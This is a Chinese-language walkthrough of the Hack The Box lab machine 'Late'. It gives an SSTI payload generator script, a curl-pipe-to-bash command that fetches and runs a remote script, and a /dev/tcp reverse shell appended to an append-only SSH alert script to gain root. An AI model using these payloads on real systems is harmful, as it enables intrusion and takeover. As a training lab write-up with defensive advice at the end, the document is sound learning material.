[Meachines] [Easy] Late Image to text(Flask)SSTI+lsattr+ssh登入预警权限提升
字数 967 2025-08-29 08:30:19
Flask SSTI漏洞利用与SSH登录警报权限提升教学文档
1. 信息收集阶段
1.1 目标识别
- IP地址: 10.10.11.156
- 开放端口:
- 22/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.6
- 80/tcp: nginx 1.14.0 (Ubuntu)
1.2 主机发现与端口扫描
使用以下命令进行目标存活检测和端口扫描:
ip='10.10.11.156'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
2. Web应用分析
2.1 添加主机名到/etc/hosts
echo '10.10.11.156 late.htb images.late.htb' >> /etc/hosts
2.2 访问Web应用
- 主站点: http://late.htb/
- 图片处理服务: http://images.late.htb/
3. Flask SSTI漏洞利用
3.1 漏洞描述
目标网站存在Flask服务器端模板注入(SSTI)漏洞,可以通过图片转文本功能利用。
3.2 生成恶意图片
使用以下Python脚本生成包含SSTI payload的图片:
from PIL import Image, ImageDraw, ImageFont
import sys
def main():
if len(sys.argv) < 2:
print('Usage: {} <cmd>'.format(sys.argv[0]))
exit()
img = Image.new('RGB', (2000, 100), color=(0, 0, 0))
draw = ImageDraw.Draw(img)
try:
myFont = ImageFont.truetype('LiberationMono-Regular.ttf', 15)
except IOError:
print("Font file not found. Using default font.")
myFont = ImageFont.load_default()
payload = "{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen(\"{cmd}\").read() }}".format(cmd=sys.argv[1])
draw.text((0, 3), payload, fill=(255, 255, 255), font=myFont)
img.save('payload.png')
print("Payload image saved as 'payload.png'")
if __name__ == '__main__':
main()
3.3 执行远程命令
生成反弹shell payload:
python3 exp.py 'curl http://10.10.16.33/reverse.sh|bash'
上传生成的payload.png到图片转文本服务,触发SSTI漏洞执行命令。
4. 初始访问
成功利用SSTI漏洞后获取用户权限:
- 用户标志: 97957f521c7524ab8c7d89ab95ef262f
5. 权限提升
5.1 发现SSH登录警报脚本
路径: /usr/local/sbin/ssh-alert.sh
5.2 检查文件属性
lsattr /usr/local/sbin/ssh-alert.sh
输出显示文件具有"只能追加"属性(a属性)。
5.3 利用方法
由于文件只能追加,我们可以添加反弹shell命令:
echo '/bin/sh -i >& /dev/tcp/10.10.16.33/443 0>&1' >> /usr/local/sbin/ssh-alert.sh
5.4 触发执行
使用SSH登录目标机器,触发警报脚本执行:
ssh svc_acc@10.10.11.156 -i ./id_rsa
5.5 获取root权限
成功获取root shell后,读取root标志:
- root标志: 3ab5d906b2aa753ace8296d4f46c67f6
6. 关键点总结
-
SSTI漏洞利用:
- 通过图片转文本功能注入Flask模板代码
- 使用
__globals__访问os模块执行系统命令
-
权限提升技巧:
- 检查具有特殊属性的文件(
lsattr) - 利用只能追加(a属性)的文件添加恶意命令
- 通过SSH登录触发脚本执行
- 检查具有特殊属性的文件(
-
防御建议:
- 对用户输入进行严格过滤
- 避免在模板中使用不安全的功能
- 限制敏感文件的权限和属性
- 审计系统上的setuid文件和可写脚本